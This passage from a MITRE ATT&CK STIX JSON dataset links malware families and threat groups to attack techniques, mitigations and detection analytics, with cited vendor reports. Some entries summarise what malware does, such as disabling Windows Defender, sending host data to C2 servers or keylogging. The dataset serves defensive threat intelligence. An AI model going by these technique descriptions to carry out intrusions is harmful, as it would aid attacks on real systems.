2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39670e5f-214a-48b0-81df-01c1f5030cd7","type":"relationship","created":"2019-11-07T20:09:56.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SensePost Outlook Forms","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."},{"source_name":"SensePost Outlook Home Page","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019."}],"modified":"2021-08-16T21:30:02.054Z","description":"For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39677623-c73a-4ddb-aa49-c371d36016ba","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor executed commands and arguments of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3967e156-2135-4416-b3c3-79372d19d610","type":"relationship","created":"2020-05-27T22:05:32.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-06-08T16:07:36.362Z","description":"[Netwalker](https://attack.mitre.org/software/S0457)'s PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the [Netwalker](https://attack.mitre.org/software/S0457) DLL being loaded into memory.(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39689be2-bc35-4d89-9233-08bda52a4229","type":"relationship","created":"2020-03-17T01:30:30.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2020-03-17T01:30:30.890Z","description":"[Helminth](https://attack.mitre.org/software/S0170) can use DNS for C2.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--396a5415-67aa-4ec6-ae27-6be641d69e15","created":"2020-05-08T17:01:36.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.209Z","description":"[Silence](https://attack.mitre.org/groups/G0091) can create, delete, or modify a specified Registry key or value.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--396edbf6-41b5-4377-90b6-4967c24de7fb","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-17T00:54:56.983Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) collects the victim host name and serial number, and then sends the information to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3979ca39-09a1-4a2b-a7d3-2eca5f1fb166","created":"2023-09-13T20:11:44.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T20:13:54.727Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has the ability to obfuscate strings using XOR encryption.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39808511-28ac-4cff-b6b4-49d996855e8a","created":"2020-12-22T17:48:21.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:44:57.857Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has transferred implant files using Windows Admin Shares and the Server Message Block (SMB) protocol, then executes files through Windows Management Instrumentation (WMI).(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3982f2f1-8fdd-4ccd-84e6-6a13c919c4c9","type":"relationship","created":"2021-09-21T15:45:09.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.167Z","description":"[Turian](https://attack.mitre.org/software/S0647) has the ability to take screenshots.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39897b0a-f48b-4d3b-8ba0-d6f8f26d00d4","type":"relationship","created":"2020-05-06T21:31:07.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.605Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can collect network information, including the host IP address, DNS, and proxy information.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--398a5e5a-b624-4992-b26c-2abb37c9c2db","type":"relationship","created":"2019-06-18T17:20:43.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2019-06-30T23:03:26.110Z","description":"[JCry](https://attack.mitre.org/software/S0389) has used PowerShell to execute payloads.(Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3997e83c-b7da-4ce0-8e5c-89fac56535f1","created":"2024-06-10T20:54:43.600Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T20:54:43.600Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used `cmd.exe` to launch malicious payloads.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--399b8688-1fe9-4fa6-a984-7c01f9319a38","type":"relationship","created":"2021-10-07T21:28:23.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-17T17:04:33.225Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) exfiltrates data stolen from a system over its C2 channel.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--399c8f98-ead6-40c5-9dba-13e25e338fd8","type":"relationship","created":"2021-08-24T14:22:49.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:22:49.227Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can use DeleteFileA to remove files from infected hosts.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--399fbffc-1684-44ef-8002-61cfeff14383","type":"relationship","created":"2020-08-17T12:57:12.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T12:57:12.417Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use zlib to compress and decompress data.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39a3fc74-012e-47fc-b806-d9267a0f54ba","type":"relationship","created":"2020-03-09T13:13:23.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub Disable DDEAUTO Oct 2017"}],"modified":"2022-03-11T20:14:42.475Z","description":"Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39a3fca6-cdf6-4053-b4fe-eb5d46fc729f","type":"relationship","created":"2021-03-19T21:04:01.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.279Z","description":"(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39acd21f-8be0-4116-9449-09d1f4dd91fd","type":"relationship","created":"2022-03-02T14:54:02.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T18:44:33.793Z","description":"Some endpoint security solutions can be configured to block some types of behaviors related to process injection/memory tampering based on common sequences of indicators (ex: execution of specific API functions).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--39aeaed2-f7ca-4fb6-8268-13e8e995461e","created":"2021-11-12T19:30:36.051Z","x_mitre_version":"1.0","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) has a `ENMDSKS` command to enumerates available network shares.(Citation: Fortinet Diavol July 2021) ","modified":"2022-04-14T19:10:54.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39b38754-4a37-4665-acb7-6645a08e9ad2","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:20:58.336Z","description":"Monitor for container creation events within Kubernetes clusters. This helps track when new containers are being deployed, especially by jobs that could have been scheduled by adversaries.\n\nAnalytic 1 - Look for new container creation events with unusual parameters.\n\n sourcetype=kubernetes:container_creation \n| stats count by container_name namespace pod_name container_id image_name\n| where NOT [search index=container_baseline container_name=* earliest=-30d@d latest=now() | table container_name] ","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39b38f3b-e878-4bce-967b-59035a528595","type":"relationship","created":"2020-11-19T17:07:09.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T17:07:09.094Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has a keylogging capability.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d","created":"2017-05-31T21:33:27.067Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)","modified":"2022-07-28T18:47:11.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39c01421-4f72-4143-95e1-fa8b209a5be6","created":"2022-03-10T20:37:03.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.854Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can download and execute AdvancedRun.exe to disable the Windows Defender Theat Protection service and set an exclusion path for the C:\\ drive.(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--39c0a771-5e52-4d08-910f-a1c9b3989f68","created":"2022-08-09T18:41:48.183Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"A [PingPull](https://attack.mitre.org/software/S1031) variant can communicate with its C2 servers by using HTTPS.(Citation: Unit 42 PingPull Jun 